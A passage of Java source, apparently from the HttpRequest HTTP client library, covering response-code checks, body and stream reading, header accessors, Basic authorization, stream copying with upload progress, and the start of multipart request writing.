| * @throws HttpRequestException 1625 | */ 1626 | public boolean badRequest() throws HttpRequestException { 1627 | return HTTP_BAD_REQUEST == code(); 1628 | } 1629 | 1630 | /** 1631 | * Is the response code a 404 Not Found? 1632 | * 1633 | * @return true if 404, false otherwise 1634 | * @throws HttpRequestException 1635 | */ 1636 | public boolean notFound() throws HttpRequestException { 1637 | return HTTP_NOT_FOUND == code(); 1638 | } 1639 | 1640 | /** 1641 | * Is the response code a 304 Not Modified? 1642 | * 1643 | * @return true if 304, false otherwise 1644 | * @throws HttpRequestException 1645 | */ 1646 | public boolean notModified() throws HttpRequestException { 1647 | return HTTP_NOT_MODIFIED == code(); 1648 | } 1649 | 1650 | /** 1651 | * Get status message of the response 1652 | * 1653 | * @return message 1654 | * @throws HttpRequestException 1655 | */ 1656 | public String message() throws HttpRequestException { 1657 | try { 1658 | closeOutput(); 1659 | return getConnection().getResponseMessage(); 1660 | } catch (IOException e) { 1661 | throw new HttpRequestException(e); 1662 | } 1663 | } 1664 | 1665 | /** 1666 | * Disconnect the connection 1667 | * 1668 | * @return this request 1669 | */ 1670 | public HttpRequest disconnect() { 1671 | getConnection().disconnect(); 1672 | return this; 1673 | } 1674 | 1675 | /** 1676 | * Set chunked streaming mode to the given size 1677 | * 1678 | * @param size 1679 | * @return this request 1680 | */ 1681 | public HttpRequest chunk(final int size) { 1682 | getConnection().setChunkedStreamingMode(size); 1683 | return this; 1684 | } 1685 | 1686 | /** 1687 | * Set the size used when buffering and copying between streams 1688 | *

1689 | * This size is also used for send and receive buffers created for both char 1690 | * and byte arrays 1691 | *

1692 | * The default buffer size is 8,192 bytes 1693 | * 1694 | * @param size 1695 | * @return this request 1696 | */ 1697 | public HttpRequest bufferSize(final int size) { 1698 | if (size < 1) 1699 | throw new IllegalArgumentException("Size must be greater than zero"); 1700 | bufferSize = size; 1701 | return this; 1702 | } 1703 | 1704 | /** 1705 | * Get the configured buffer size 1706 | *

1707 | * The default buffer size is 8,192 bytes 1708 | * 1709 | * @return buffer size 1710 | */ 1711 | public int bufferSize() { 1712 | return bufferSize; 1713 | } 1714 | 1715 | /** 1716 | * Set whether or not the response body should be automatically uncompressed 1717 | * when read from. 1718 | *

1719 | * This will only affect requests that have the 'Content-Encoding' response 1720 | * header set to 'gzip'. 1721 | *

1722 | * This causes all receive methods to use a {@link GZIPInputStream} when 1723 | * applicable so that higher level streams and readers can read the data 1724 | * uncompressed. 1725 | *

1726 | * Setting this option does not cause any request headers to be set 1727 | * automatically so {@link #acceptGzipEncoding()} should be used in 1728 | * conjunction with this setting to tell the server to gzip the response. 1729 | * 1730 | * @param uncompress 1731 | * @return this request 1732 | */ 1733 | public HttpRequest uncompress(final boolean uncompress) { 1734 | this.uncompress = uncompress; 1735 | return this; 1736 | } 1737 | 1738 | /** 1739 | * Create byte array output stream 1740 | * 1741 | * @return stream 1742 | */ 1743 | protected ByteArrayOutputStream byteStream() { 1744 | final int size = contentLength(); 1745 | if (size > 0) 1746 | return new ByteArrayOutputStream(size); 1747 | else 1748 | return new ByteArrayOutputStream(); 1749 | } 1750 | 1751 | /** 1752 | * Get response as {@link String} in given character set 1753 | *

1754 | * This will fall back to using the UTF-8 character set if the given charset 1755 | * is null 1756 | * 1757 | * @param charset 1758 | * @return string 1759 | * @throws HttpRequestException 1760 | */ 1761 | public String body(final String charset) throws HttpRequestException { 1762 | final ByteArrayOutputStream output = byteStream(); 1763 | try { 1764 | copy(buffer(), output); 1765 | return output.toString(getValidCharset(charset)); 1766 | } catch (IOException e) { 1767 | throw new HttpRequestException(e); 1768 | } 1769 | } 1770 | 1771 | /** 1772 | * Get response as {@link String} using character set returned from 1773 | * {@link #charset()} 1774 | * 1775 | * @return string 1776 | * @throws HttpRequestException 1777 | */ 1778 | public String body() throws HttpRequestException { 1779 | return body(charset()); 1780 | } 1781 | 1782 | /** 1783 | * Get the response body as a {@link String} and set it as the value of the 1784 | * given reference. 1785 | * 1786 | * @param output 1787 | * @return this request 1788 | * @throws HttpRequestException 1789 | */ 1790 | public HttpRequest body(final AtomicReference output) throws HttpRequestException { 1791 | output.set(body()); 1792 | return this; 1793 | } 1794 | 1795 | /** 1796 | * Get the response body as a {@link String} and set it as the value of the 1797 | * given reference. 1798 | * 1799 | * @param output 1800 | * @param charset 1801 | * @return this request 1802 | * @throws HttpRequestException 1803 | */ 1804 | public HttpRequest body(final AtomicReference output, final String charset) throws HttpRequestException { 1805 | output.set(body(charset)); 1806 | return this; 1807 | } 1808 | 1809 | 1810 | /** 1811 | * Is the response body empty? 1812 | * 1813 | * @return true if the Content-Length response header is 0, false otherwise 1814 | * @throws HttpRequestException 1815 | */ 1816 | public boolean isBodyEmpty() throws HttpRequestException { 1817 | return contentLength() == 0; 1818 | } 1819 | 1820 | /** 1821 | * Get response as byte array 1822 | * 1823 | * @return byte array 1824 | * @throws HttpRequestException 1825 | */ 1826 | public byte[] bytes() throws HttpRequestException { 1827 | final ByteArrayOutputStream output = byteStream(); 1828 | try { 1829 | copy(buffer(), output); 1830 | } catch (IOException e) { 1831 | throw new HttpRequestException(e); 1832 | } 1833 | return output.toByteArray(); 1834 | } 1835 | 1836 | /** 1837 | * Get response in a buffered stream 1838 | * 1839 | * @see #bufferSize(int) 1840 | * @return stream 1841 | * @throws HttpRequestException 1842 | */ 1843 | public BufferedInputStream buffer() throws HttpRequestException { 1844 | return new BufferedInputStream(stream(), bufferSize); 1845 | } 1846 | 1847 | /** 1848 | * Get stream to response body 1849 | * 1850 | * @return stream 1851 | * @throws HttpRequestException 1852 | */ 1853 | public InputStream stream() throws HttpRequestException { 1854 | InputStream stream; 1855 | if (code() < HTTP_BAD_REQUEST) 1856 | try { 1857 | stream = getConnection().getInputStream(); 1858 | } catch (IOException e) { 1859 | throw new HttpRequestException(e); 1860 | } 1861 | else { 1862 | stream = getConnection().getErrorStream(); 1863 | if (stream == null) 1864 | try { 1865 | stream = getConnection().getInputStream(); 1866 | } catch (IOException e) { 1867 | if (contentLength() > 0) 1868 | throw new HttpRequestException(e); 1869 | else 1870 | stream = new ByteArrayInputStream(new byte[0]); 1871 | } 1872 | } 1873 | 1874 | if (!uncompress || !ENCODING_GZIP.equals(contentEncoding())) 1875 | return stream; 1876 | else 1877 | try { 1878 | return new GZIPInputStream(stream); 1879 | } catch (IOException e) { 1880 | throw new HttpRequestException(e); 1881 | } 1882 | } 1883 | 1884 | /** 1885 | * Get reader to response body using given character set. 1886 | *

1887 | * This will fall back to using the UTF-8 character set if the given charset 1888 | * is null 1889 | * 1890 | * @param charset 1891 | * @return reader 1892 | * @throws HttpRequestException 1893 | */ 1894 | public InputStreamReader reader(final String charset) 1895 | throws HttpRequestException { 1896 | try { 1897 | return new InputStreamReader(stream(), getValidCharset(charset)); 1898 | } catch (UnsupportedEncodingException e) { 1899 | throw new HttpRequestException(e); 1900 | } 1901 | } 1902 | 1903 | /** 1904 | * Get reader to response body using the character set returned from 1905 | * {@link #charset()} 1906 | * 1907 | * @return reader 1908 | * @throws HttpRequestException 1909 | */ 1910 | public InputStreamReader reader() throws HttpRequestException { 1911 | return reader(charset()); 1912 | } 1913 | 1914 | /** 1915 | * Get buffered reader to response body using the given character set r and 1916 | * the configured buffer size 1917 | * 1918 | * 1919 | * @see #bufferSize(int) 1920 | * @param charset 1921 | * @return reader 1922 | * @throws HttpRequestException 1923 | */ 1924 | public BufferedReader bufferedReader(final String charset) 1925 | throws HttpRequestException { 1926 | return new BufferedReader(reader(charset), bufferSize); 1927 | } 1928 | 1929 | /** 1930 | * Get buffered reader to response body using the character set returned from 1931 | * {@link #charset()} and the configured buffer size 1932 | * 1933 | * @see #bufferSize(int) 1934 | * @return reader 1935 | * @throws HttpRequestException 1936 | */ 1937 | public BufferedReader bufferedReader() throws HttpRequestException { 1938 | return bufferedReader(charset()); 1939 | } 1940 | 1941 | /** 1942 | * Stream response body to file 1943 | * 1944 | * @param file 1945 | * @return this request 1946 | * @throws HttpRequestException 1947 | */ 1948 | public HttpRequest receive(final File file) throws HttpRequestException { 1949 | final OutputStream output; 1950 | try { 1951 | output = new BufferedOutputStream(new FileOutputStream(file), bufferSize); 1952 | } catch (FileNotFoundException e) { 1953 | throw new HttpRequestException(e); 1954 | } 1955 | return new CloseOperation(output, ignoreCloseExceptions) { 1956 | 1957 | @Override 1958 | protected HttpRequest run() throws HttpRequestException, IOException { 1959 | return receive(output); 1960 | } 1961 | }.call(); 1962 | } 1963 | 1964 | /** 1965 | * Stream response to given output stream 1966 | * 1967 | * @param output 1968 | * @return this request 1969 | * @throws HttpRequestException 1970 | */ 1971 | public HttpRequest receive(final OutputStream output) 1972 | throws HttpRequestException { 1973 | try { 1974 | return copy(buffer(), output); 1975 | } catch (IOException e) { 1976 | throw new HttpRequestException(e); 1977 | } 1978 | } 1979 | 1980 | /** 1981 | * Stream response to given print stream 1982 | * 1983 | * @param output 1984 | * @return this request 1985 | * @throws HttpRequestException 1986 | */ 1987 | public HttpRequest receive(final PrintStream output) 1988 | throws HttpRequestException { 1989 | return receive((OutputStream) output); 1990 | } 1991 | 1992 | /** 1993 | * Receive response into the given appendable 1994 | * 1995 | * @param appendable 1996 | * @return this request 1997 | * @throws HttpRequestException 1998 | */ 1999 | public HttpRequest receive(final Appendable appendable) 2000 | throws HttpRequestException { 2001 | final BufferedReader reader = bufferedReader(); 2002 | return new CloseOperation(reader, ignoreCloseExceptions) { 2003 | 2004 | @Override 2005 | public HttpRequest run() throws IOException { 2006 | final CharBuffer buffer = CharBuffer.allocate(bufferSize); 2007 | int read; 2008 | while ((read = reader.read(buffer)) != -1) { 2009 | buffer.rewind(); 2010 | appendable.append(buffer, 0, read); 2011 | buffer.rewind(); 2012 | } 2013 | return HttpRequest.this; 2014 | } 2015 | }.call(); 2016 | } 2017 | 2018 | /** 2019 | * Receive response into the given writer 2020 | * 2021 | * @param writer 2022 | * @return this request 2023 | * @throws HttpRequestException 2024 | */ 2025 | public HttpRequest receive(final Writer writer) throws HttpRequestException { 2026 | final BufferedReader reader = bufferedReader(); 2027 | return new CloseOperation(reader, ignoreCloseExceptions) { 2028 | 2029 | @Override 2030 | public HttpRequest run() throws IOException { 2031 | return copy(reader, writer); 2032 | } 2033 | }.call(); 2034 | } 2035 | 2036 | /** 2037 | * Set read timeout on connection to given value 2038 | * 2039 | * @param timeout 2040 | * @return this request 2041 | */ 2042 | public HttpRequest readTimeout(final int timeout) { 2043 | getConnection().setReadTimeout(timeout); 2044 | return this; 2045 | } 2046 | 2047 | /** 2048 | * Set connect timeout on connection to given value 2049 | * 2050 | * @param timeout 2051 | * @return this request 2052 | */ 2053 | public HttpRequest connectTimeout(final int timeout) { 2054 | getConnection().setConnectTimeout(timeout); 2055 | return this; 2056 | } 2057 | 2058 | /** 2059 | * Set header name to given value 2060 | * 2061 | * @param name 2062 | * @param value 2063 | * @return this request 2064 | */ 2065 | public HttpRequest header(final String name, final String value) { 2066 | getConnection().setRequestProperty(name, value); 2067 | return this; 2068 | } 2069 | 2070 | /** 2071 | * Set header name to given value 2072 | * 2073 | * @param name 2074 | * @param value 2075 | * @return this request 2076 | */ 2077 | public HttpRequest header(final String name, final Number value) { 2078 | return header(name, value != null ? value.toString() : null); 2079 | } 2080 | 2081 | /** 2082 | * Set all headers found in given map where the keys are the header names and 2083 | * the values are the header values 2084 | * 2085 | * @param headers 2086 | * @return this request 2087 | */ 2088 | public HttpRequest headers(final Map headers) { 2089 | if (!headers.isEmpty()) 2090 | for (Entry header : headers.entrySet()) 2091 | header(header); 2092 | return this; 2093 | } 2094 | 2095 | /** 2096 | * Set header to have given entry's key as the name and value as the value 2097 | * 2098 | * @param header 2099 | * @return this request 2100 | */ 2101 | public HttpRequest header(final Entry header) { 2102 | return header(header.getKey(), header.getValue()); 2103 | } 2104 | 2105 | /** 2106 | * Get a response header 2107 | * 2108 | * @param name 2109 | * @return response header 2110 | * @throws HttpRequestException 2111 | */ 2112 | public String header(final String name) throws HttpRequestException { 2113 | closeOutputQuietly(); 2114 | return getConnection().getHeaderField(name); 2115 | } 2116 | 2117 | /** 2118 | * Get all the response headers 2119 | * 2120 | * @return map of response header names to their value(s) 2121 | * @throws HttpRequestException 2122 | */ 2123 | public Map> headers() throws HttpRequestException { 2124 | closeOutputQuietly(); 2125 | return getConnection().getHeaderFields(); 2126 | } 2127 | 2128 | /** 2129 | * Get a date header from the response falling back to returning -1 if the 2130 | * header is missing or parsing fails 2131 | * 2132 | * @param name 2133 | * @return date, -1 on failures 2134 | * @throws HttpRequestException 2135 | */ 2136 | public long dateHeader(final String name) throws HttpRequestException { 2137 | return dateHeader(name, -1L); 2138 | } 2139 | 2140 | /** 2141 | * Get a date header from the response falling back to returning the given 2142 | * default value if the header is missing or parsing fails 2143 | * 2144 | * @param name 2145 | * @param defaultValue 2146 | * @return date, default value on failures 2147 | * @throws HttpRequestException 2148 | */ 2149 | public long dateHeader(final String name, final long defaultValue) 2150 | throws HttpRequestException { 2151 | closeOutputQuietly(); 2152 | return getConnection().getHeaderFieldDate(name, defaultValue); 2153 | } 2154 | 2155 | /** 2156 | * Get an integer header from the response falling back to returning -1 if the 2157 | * header is missing or parsing fails 2158 | * 2159 | * @param name 2160 | * @return header value as an integer, -1 when missing or parsing fails 2161 | * @throws HttpRequestException 2162 | */ 2163 | public int intHeader(final String name) throws HttpRequestException { 2164 | return intHeader(name, -1); 2165 | } 2166 | 2167 | /** 2168 | * Get an integer header value from the response falling back to the given 2169 | * default value if the header is missing or if parsing fails 2170 | * 2171 | * @param name 2172 | * @param defaultValue 2173 | * @return header value as an integer, default value when missing or parsing 2174 | * fails 2175 | * @throws HttpRequestException 2176 | */ 2177 | public int intHeader(final String name, final int defaultValue) 2178 | throws HttpRequestException { 2179 | closeOutputQuietly(); 2180 | return getConnection().getHeaderFieldInt(name, defaultValue); 2181 | } 2182 | 2183 | /** 2184 | * Get all values of the given header from the response 2185 | * 2186 | * @param name 2187 | * @return non-null but possibly empty array of {@link String} header values 2188 | */ 2189 | public String[] headers(final String name) { 2190 | final Map> headers = headers(); 2191 | if (headers == null || headers.isEmpty()) 2192 | return EMPTY_STRINGS; 2193 | 2194 | final List values = headers.get(name); 2195 | if (values != null && !values.isEmpty()) 2196 | return values.toArray(new String[values.size()]); 2197 | else 2198 | return EMPTY_STRINGS; 2199 | } 2200 | 2201 | /** 2202 | * Get parameter with given name from header value in response 2203 | * 2204 | * @param headerName 2205 | * @param paramName 2206 | * @return parameter value or null if missing 2207 | */ 2208 | public String parameter(final String headerName, final String paramName) { 2209 | return getParam(header(headerName), paramName); 2210 | } 2211 | 2212 | /** 2213 | * Get all parameters from header value in response 2214 | *

2215 | * This will be all key=value pairs after the first ';' that are separated by 2216 | * a ';' 2217 | * 2218 | * @param headerName 2219 | * @return non-null but possibly empty map of parameter headers 2220 | */ 2221 | public Map parameters(final String headerName) { 2222 | return getParams(header(headerName)); 2223 | } 2224 | 2225 | /** 2226 | * Get parameter values from header value 2227 | * 2228 | * @param header 2229 | * @return parameter value or null if none 2230 | */ 2231 | protected Map getParams(final String header) { 2232 | if (header == null || header.length() == 0) 2233 | return Collections.emptyMap(); 2234 | 2235 | final int headerLength = header.length(); 2236 | int start = header.indexOf(';') + 1; 2237 | if (start == 0 || start == headerLength) 2238 | return Collections.emptyMap(); 2239 | 2240 | int end = header.indexOf(';', start); 2241 | if (end == -1) 2242 | end = headerLength; 2243 | 2244 | Map params = new LinkedHashMap(); 2245 | while (start < end) { 2246 | int nameEnd = header.indexOf('=', start); 2247 | if (nameEnd != -1 && nameEnd < end) { 2248 | String name = header.substring(start, nameEnd).trim(); 2249 | if (name.length() > 0) { 2250 | String value = header.substring(nameEnd + 1, end).trim(); 2251 | int length = value.length(); 2252 | if (length != 0) 2253 | if (length > 2 && '"' == value.charAt(0) 2254 | && '"' == value.charAt(length - 1)) 2255 | params.put(name, value.substring(1, length - 1)); 2256 | else 2257 | params.put(name, value); 2258 | } 2259 | } 2260 | 2261 | start = end + 1; 2262 | end = header.indexOf(';', start); 2263 | if (end == -1) 2264 | end = headerLength; 2265 | } 2266 | 2267 | return params; 2268 | } 2269 | 2270 | /** 2271 | * Get parameter value from header value 2272 | * 2273 | * @param value 2274 | * @param paramName 2275 | * @return parameter value or null if none 2276 | */ 2277 | protected String getParam(final String value, final String paramName) { 2278 | if (value == null || value.length() == 0) 2279 | return null; 2280 | 2281 | final int length = value.length(); 2282 | int start = value.indexOf(';') + 1; 2283 | if (start == 0 || start == length) 2284 | return null; 2285 | 2286 | int end = value.indexOf(';', start); 2287 | if (end == -1) 2288 | end = length; 2289 | 2290 | while (start < end) { 2291 | int nameEnd = value.indexOf('=', start); 2292 | if (nameEnd != -1 && nameEnd < end 2293 | && paramName.equals(value.substring(start, nameEnd).trim())) { 2294 | String paramValue = value.substring(nameEnd + 1, end).trim(); 2295 | int valueLength = paramValue.length(); 2296 | if (valueLength != 0) 2297 | if (valueLength > 2 && '"' == paramValue.charAt(0) 2298 | && '"' == paramValue.charAt(valueLength - 1)) 2299 | return paramValue.substring(1, valueLength - 1); 2300 | else 2301 | return paramValue; 2302 | } 2303 | 2304 | start = end + 1; 2305 | end = value.indexOf(';', start); 2306 | if (end == -1) 2307 | end = length; 2308 | } 2309 | 2310 | return null; 2311 | } 2312 | 2313 | /** 2314 | * Get 'charset' parameter from 'Content-Type' response header 2315 | * 2316 | * @return charset or null if none 2317 | */ 2318 | public String charset() { 2319 | return parameter(HEADER_CONTENT_TYPE, PARAM_CHARSET); 2320 | } 2321 | 2322 | /** 2323 | * Set the 'User-Agent' header to given value 2324 | * 2325 | * @param userAgent 2326 | * @return this request 2327 | */ 2328 | public HttpRequest userAgent(final String userAgent) { 2329 | return header(HEADER_USER_AGENT, userAgent); 2330 | } 2331 | 2332 | /** 2333 | * Set the 'Referer' header to given value 2334 | * 2335 | * @param referer 2336 | * @return this request 2337 | */ 2338 | public HttpRequest referer(final String referer) { 2339 | return header(HEADER_REFERER, referer); 2340 | } 2341 | 2342 | /** 2343 | * Set value of {@link HttpURLConnection#setUseCaches(boolean)} 2344 | * 2345 | * @param useCaches 2346 | * @return this request 2347 | */ 2348 | public HttpRequest useCaches(final boolean useCaches) { 2349 | getConnection().setUseCaches(useCaches); 2350 | return this; 2351 | } 2352 | 2353 | /** 2354 | * Set the 'Accept-Encoding' header to given value 2355 | * 2356 | * @param acceptEncoding 2357 | * @return this request 2358 | */ 2359 | public HttpRequest acceptEncoding(final String acceptEncoding) { 2360 | return header(HEADER_ACCEPT_ENCODING, acceptEncoding); 2361 | } 2362 | 2363 | /** 2364 | * Set the 'Accept-Encoding' header to 'gzip' 2365 | * 2366 | * @see #uncompress(boolean) 2367 | * @return this request 2368 | */ 2369 | public HttpRequest acceptGzipEncoding() { 2370 | return acceptEncoding(ENCODING_GZIP); 2371 | } 2372 | 2373 | /** 2374 | * Set the 'Accept-Charset' header to given value 2375 | * 2376 | * @param acceptCharset 2377 | * @return this request 2378 | */ 2379 | public HttpRequest acceptCharset(final String acceptCharset) { 2380 | return header(HEADER_ACCEPT_CHARSET, acceptCharset); 2381 | } 2382 | 2383 | /** 2384 | * Get the 'Content-Encoding' header from the response 2385 | * 2386 | * @return this request 2387 | */ 2388 | public String contentEncoding() { 2389 | return header(HEADER_CONTENT_ENCODING); 2390 | } 2391 | 2392 | /** 2393 | * Get the 'Server' header from the response 2394 | * 2395 | * @return server 2396 | */ 2397 | public String server() { 2398 | return header(HEADER_SERVER); 2399 | } 2400 | 2401 | /** 2402 | * Get the 'Date' header from the response 2403 | * 2404 | * @return date value, -1 on failures 2405 | */ 2406 | public long date() { 2407 | return dateHeader(HEADER_DATE); 2408 | } 2409 | 2410 | /** 2411 | * Get the 'Cache-Control' header from the response 2412 | * 2413 | * @return cache control 2414 | */ 2415 | public String cacheControl() { 2416 | return header(HEADER_CACHE_CONTROL); 2417 | } 2418 | 2419 | /** 2420 | * Get the 'ETag' header from the response 2421 | * 2422 | * @return entity tag 2423 | */ 2424 | public String eTag() { 2425 | return header(HEADER_ETAG); 2426 | } 2427 | 2428 | /** 2429 | * Get the 'Expires' header from the response 2430 | * 2431 | * @return expires value, -1 on failures 2432 | */ 2433 | public long expires() { 2434 | return dateHeader(HEADER_EXPIRES); 2435 | } 2436 | 2437 | /** 2438 | * Get the 'Last-Modified' header from the response 2439 | * 2440 | * @return last modified value, -1 on failures 2441 | */ 2442 | public long lastModified() { 2443 | return dateHeader(HEADER_LAST_MODIFIED); 2444 | } 2445 | 2446 | /** 2447 | * Get the 'Location' header from the response 2448 | * 2449 | * @return location 2450 | */ 2451 | public String location() { 2452 | return header(HEADER_LOCATION); 2453 | } 2454 | 2455 | /** 2456 | * Set the 'Authorization' header to given value 2457 | * 2458 | * @param authorization 2459 | * @return this request 2460 | */ 2461 | public HttpRequest authorization(final String authorization) { 2462 | return header(HEADER_AUTHORIZATION, authorization); 2463 | } 2464 | 2465 | /** 2466 | * Set the 'Proxy-Authorization' header to given value 2467 | * 2468 | * @param proxyAuthorization 2469 | * @return this request 2470 | */ 2471 | public HttpRequest proxyAuthorization(final String proxyAuthorization) { 2472 | return header(HEADER_PROXY_AUTHORIZATION, proxyAuthorization); 2473 | } 2474 | 2475 | /** 2476 | * Set the 'Authorization' header to given values in Basic authentication 2477 | * format 2478 | * 2479 | * @param name 2480 | * @param password 2481 | * @return this request 2482 | */ 2483 | public HttpRequest basic(final String name, final String password) { 2484 | return authorization("Basic " + Base64.encode(name + ':' + password)); 2485 | } 2486 | 2487 | /** 2488 | * Set the 'Proxy-Authorization' header to given values in Basic authentication 2489 | * format 2490 | * 2491 | * @param name 2492 | * @param password 2493 | * @return this request 2494 | */ 2495 | public HttpRequest proxyBasic(final String name, final String password) { 2496 | return proxyAuthorization("Basic " + Base64.encode(name + ':' + password)); 2497 | } 2498 | 2499 | /** 2500 | * Set the 'If-Modified-Since' request header to the given value 2501 | * 2502 | * @param ifModifiedSince 2503 | * @return this request 2504 | */ 2505 | public HttpRequest ifModifiedSince(final long ifModifiedSince) { 2506 | getConnection().setIfModifiedSince(ifModifiedSince); 2507 | return this; 2508 | } 2509 | 2510 | /** 2511 | * Set the 'If-None-Match' request header to the given value 2512 | * 2513 | * @param ifNoneMatch 2514 | * @return this request 2515 | */ 2516 | public HttpRequest ifNoneMatch(final String ifNoneMatch) { 2517 | return header(HEADER_IF_NONE_MATCH, ifNoneMatch); 2518 | } 2519 | 2520 | /** 2521 | * Set the 'Content-Type' request header to the given value 2522 | * 2523 | * @param contentType 2524 | * @return this request 2525 | */ 2526 | public HttpRequest contentType(final String contentType) { 2527 | return contentType(contentType, null); 2528 | } 2529 | 2530 | /** 2531 | * Set the 'Content-Type' request header to the given value and charset 2532 | * 2533 | * @param contentType 2534 | * @param charset 2535 | * @return this request 2536 | */ 2537 | public HttpRequest contentType(final String contentType, final String charset) { 2538 | if (charset != null && charset.length() > 0) { 2539 | final String separator = "; " + PARAM_CHARSET + '='; 2540 | return header(HEADER_CONTENT_TYPE, contentType + separator + charset); 2541 | } else 2542 | return header(HEADER_CONTENT_TYPE, contentType); 2543 | } 2544 | 2545 | /** 2546 | * Get the 'Content-Type' header from the response 2547 | * 2548 | * @return response header value 2549 | */ 2550 | public String contentType() { 2551 | return header(HEADER_CONTENT_TYPE); 2552 | } 2553 | 2554 | /** 2555 | * Get the 'Content-Length' header from the response 2556 | * 2557 | * @return response header value 2558 | */ 2559 | public int contentLength() { 2560 | return intHeader(HEADER_CONTENT_LENGTH); 2561 | } 2562 | 2563 | /** 2564 | * Set the 'Content-Length' request header to the given value 2565 | * 2566 | * @param contentLength 2567 | * @return this request 2568 | */ 2569 | public HttpRequest contentLength(final String contentLength) { 2570 | return contentLength(Integer.parseInt(contentLength)); 2571 | } 2572 | 2573 | /** 2574 | * Set the 'Content-Length' request header to the given value 2575 | * 2576 | * @param contentLength 2577 | * @return this request 2578 | */ 2579 | public HttpRequest contentLength(final int contentLength) { 2580 | getConnection().setFixedLengthStreamingMode(contentLength); 2581 | return this; 2582 | } 2583 | 2584 | /** 2585 | * Set the 'Accept' header to given value 2586 | * 2587 | * @param accept 2588 | * @return this request 2589 | */ 2590 | public HttpRequest accept(final String accept) { 2591 | return header(HEADER_ACCEPT, accept); 2592 | } 2593 | 2594 | /** 2595 | * Set the 'Accept' header to 'application/json' 2596 | * 2597 | * @return this request 2598 | */ 2599 | public HttpRequest acceptJson() { 2600 | return accept(CONTENT_TYPE_JSON); 2601 | } 2602 | 2603 | /** 2604 | * Copy from input stream to output stream 2605 | * 2606 | * @param input 2607 | * @param output 2608 | * @return this request 2609 | * @throws IOException 2610 | */ 2611 | protected HttpRequest copy(final InputStream input, final OutputStream output) 2612 | throws IOException { 2613 | return new CloseOperation(input, ignoreCloseExceptions) { 2614 | 2615 | @Override 2616 | public HttpRequest run() throws IOException { 2617 | final byte[] buffer = new byte[bufferSize]; 2618 | int read; 2619 | while ((read = input.read(buffer)) != -1) { 2620 | output.write(buffer, 0, read); 2621 | totalWritten += read; 2622 | progress.onUpload(totalWritten, totalSize); 2623 | } 2624 | return HttpRequest.this; 2625 | } 2626 | }.call(); 2627 | } 2628 | 2629 | /** 2630 | * Copy from reader to writer 2631 | * 2632 | * @param input 2633 | * @param output 2634 | * @return this request 2635 | * @throws IOException 2636 | */ 2637 | protected HttpRequest copy(final Reader input, final Writer output) 2638 | throws IOException { 2639 | return new CloseOperation(input, ignoreCloseExceptions) { 2640 | 2641 | @Override 2642 | public HttpRequest run() throws IOException { 2643 | final char[] buffer = new char[bufferSize]; 2644 | int read; 2645 | while ((read = input.read(buffer)) != -1) { 2646 | output.write(buffer, 0, read); 2647 | totalWritten += read; 2648 | progress.onUpload(totalWritten, -1); 2649 | } 2650 | return HttpRequest.this; 2651 | } 2652 | }.call(); 2653 | } 2654 | 2655 | /** 2656 | * Set the UploadProgress callback for this request 2657 | * 2658 | * @param callback 2659 | * @return this request 2660 | */ 2661 | public HttpRequest progress(final UploadProgress callback) { 2662 | if (callback == null) 2663 | progress = UploadProgress.DEFAULT; 2664 | else 2665 | progress = callback; 2666 | return this; 2667 | } 2668 | 2669 | private HttpRequest incrementTotalSize(final long size) { 2670 | if (totalSize == -1) 2671 | totalSize = 0; 2672 | totalSize += size; 2673 | return this; 2674 | } 2675 | 2676 | /** 2677 | * Close output stream 2678 | * 2679 | * @return this request 2680 | * @throws HttpRequestException 2681 | * @throws IOException 2682 | */ 2683 | protected HttpRequest closeOutput() throws IOException { 2684 | progress(null); 2685 | if (output == null) 2686 | return this; 2687 | if (multipart) 2688 | output.write(CRLF + "--" + BOUNDARY + "--" + CRLF); 2689 | if (ignoreCloseExceptions) 2690 | try { 2691 | output.close(); 2692 | } catch (IOException ignored) { 2693 | // Ignored 2694 | } 2695 | else 2696 | output.close(); 2697 | output = null; 2698 | return this; 2699 | } 2700 | 2701 | /** 2702 | * Call {@link #closeOutput()} and re-throw a caught {@link IOException}s as 2703 | * an {@link HttpRequestException} 2704 | * 2705 | * @return this request 2706 | * @throws HttpRequestException 2707 | */ 2708 | protected HttpRequest closeOutputQuietly() throws HttpRequestException { 2709 | try { 2710 | return closeOutput(); 2711 | } catch (IOException e) { 2712 | throw new HttpRequestException(e); 2713 | } 2714 | } 2715 | 2716 | /** 2717 | * Open output stream 2718 | * 2719 | * @return this request 2720 | * @throws IOException 2721 | */ 2722 | protected HttpRequest openOutput() throws IOException { 2723 | if (output != null) 2724 | return this; 2725 | getConnection().setDoOutput(true); 2726 | final String charset = getParam( 2727 | getConnection().getRequestProperty(HEADER_CONTENT_TYPE), PARAM_CHARSET); 2728 | output = new RequestOutputStream(getConnection().getOutputStream(), charset, 2729 | bufferSize); 2730 | return this; 2731 | } 2732 | 2733 | /** 2734 | * Start part of a multipart 2735 | * 2736 | * @return this request 2737 | * @throws IOException 2738 | */ 2739 | protected HttpRequest startPart() throws IOException { 2740 | if (!multipart) { 2741 | multipart = true; 2742 | contentType(CONTENT_TYPE_MULTIPART).openOutput(); 2743 | output.write("--" + BOUNDARY + CRLF); 2744 | } else 2745 | output.write(CRLF + "--" + BOUNDARY + CRLF); 2746 | return this; 2747 | } 2748 | 2749 | /** 2750 | * Write part header 2751 | * 2752 | * @param name 2753 | * @param filename 2754 | * @return this request 2755 | * @throws IOException 2756 | */ 2757 | protected HttpRequest writePartHeader(final String name, final String filename) 2758 | throws IOException { 2759 | return writePartHeader(name, filename, null); 2760 | } 2761 | 2762 | /** 2763 | * Write part header 2764 | * 2765 | * @param name 2766 | * @param filename 2767 | * @param contentType 2768 | * @return this request 2769 | * @throws IOException 2770 | */ 2771 | protected HttpRequest writePartHeader(final String name, 2772 | final String filename, final String contentType) throws IOException { 2773 | final StringBuilder partBuffer = new StringBuilder(); 2774 | partBuffer.append("form-data; name=\"").append(name); 2775 | if (filename != null) 2776 | partBuffer.append("\"; filename=\"").append(filename); 2777 | partBuffer.append('"'); 2778 | partHeader("Content-Disposition", partBuffer.toString()); 2779 | if (contentType != null) 2780 | partHeader(HEADER_CONTENT_TYPE, contentType); 2781 | return send(CRLF); 2782 | } 2783 | 2784 | /** 2785 | * Write part of a multipart request to the request body 2786 | * 2787 | * @param name 2788 | * @param part 2789 | * @return this request 2790 | */ 2791 | public HttpRequest part(final String name, final String part) { 2792 | return part(name, null, part); 2793 | } 2794 | 2795 | /** 2796 | * Write part of a multipart request to the request body 2797 | * 2798 | * @param name 2799 | * @param filename 2800 | * @param part 2801 | * @return this request 2802 | * @throws HttpRequestException 2803 | */ 2804 | public HttpRequest part(final String name, final String filename, 2805 | final String part) throws HttpRequestException { 2806 | return part(name, filename, null, part); 2807 | } 2808 | 2809 | /** 2810 | * Write part of a multipart request to the request body 2811 | * 2812 | * @param name 2813 